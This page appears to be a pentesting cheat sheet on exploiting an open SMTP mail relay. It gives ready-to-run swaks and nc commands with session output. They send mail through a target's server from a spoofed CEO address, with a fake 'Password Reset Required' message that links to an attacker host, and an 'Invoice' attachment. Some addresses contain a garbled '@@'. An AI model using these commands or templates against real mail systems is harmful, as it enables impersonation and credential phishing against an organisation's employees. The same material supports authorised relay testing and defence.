Skip to content
HackIndex logo

HackIndex

SMTP Relay Exploitation

1 min read Jul 10, 2026

A confirmed open relay allows sending mail through the target's trusted mail infrastructure as any sender, to any recipient. Mail delivered through a legitimate server bypasses many spam filters and appears more credible to recipients than mail from an unknown IP. Confirm the relay condition first through open relay testing before using this page.

Send Test Mail with swaks

swaks is the most capable tool for SMTP relay testing. It handles STARTTLS, custom headers, attachments, and full session logging in a single command:

┌──(kali㉿kali)-[~]
└─$ swaks --to $USER@$DOMAIN --from [email protected] --server $TARGET_IP --port 25 
=== Trying 10.10.10.50:25...
=== Connected to 10.10.10.50.
<-  220 mail.company.com ESMTP
 -> EHLO kali
<-  250-mail.company.com
 -> MAIL FROM:<[email protected]>
<-  250 2.1.0 Ok
 -> RCPT TO:<[email protected]>
<-  250 2.1.5 Ok
 -> DATA
<-  354 End data with <CR><LF>.<CR><LF>
 -> .
<-  250 2.0.0 Ok: queued as A1B2C3

Send with Spoofed Sender and Custom Headers

Craft a convincing email with a spoofed From address and a custom subject. On an open relay the MAIL FROM and the From header can differ — the header is what the recipient sees:

┌──(kali㉿kali)-[~]
└─$ swaks \
--to [email protected] \
--from ceo@$DOMAIN \
--server $TARGET_IP \
--port 25 \
--header 'Subject: Urgent: Password Reset Required' \
--header 'From: CEO <ceo@$DOMAIN>' \
--body 'Please reset your password at http://LHOST/reset'

Send via STARTTLS

Use STARTTLS when port 587 requires encryption. swaks handles the upgrade automatically:

┌──(kali㉿kali)-[~]
└─$ swaks \
--to $USER@$DOMAIN \
--from [email protected] \
--server $TARGET_IP \
--port 587 \
--tls

Send with Attachment

Attach a file to the relay test message. Useful for confirming attachment filtering and AV scanning on the relay:

┌──(kali㉿kali)-[~]
└─$ swaks \
--to $USER@$DOMAIN \
--from [email protected] \
--server $TARGET_IP \
--port 25 \
--header 'Subject: Invoice' \
--attach /tmp/invoice.pdf

Manual Relay via nc

When swaks is unavailable, send manually via nc for a controlled interaction:

┌──(kali㉿kali)-[~]
└─$ nc -nv $TARGET_IP 25 
220 mail.company.com ESMTP
EHLO attacker.com
MAIL FROM:<ceo@@company.com>
RCPT TO:<employee@@company.com>
DATA
From: CEO <ceo@@company.com>
To: Employee <employee@@company.com>
Subject: Urgent Action Required
Date: Mon, 28 Mar 2026 12:00:00 +0000

Please review the attached document immediately.
.
QUIT

References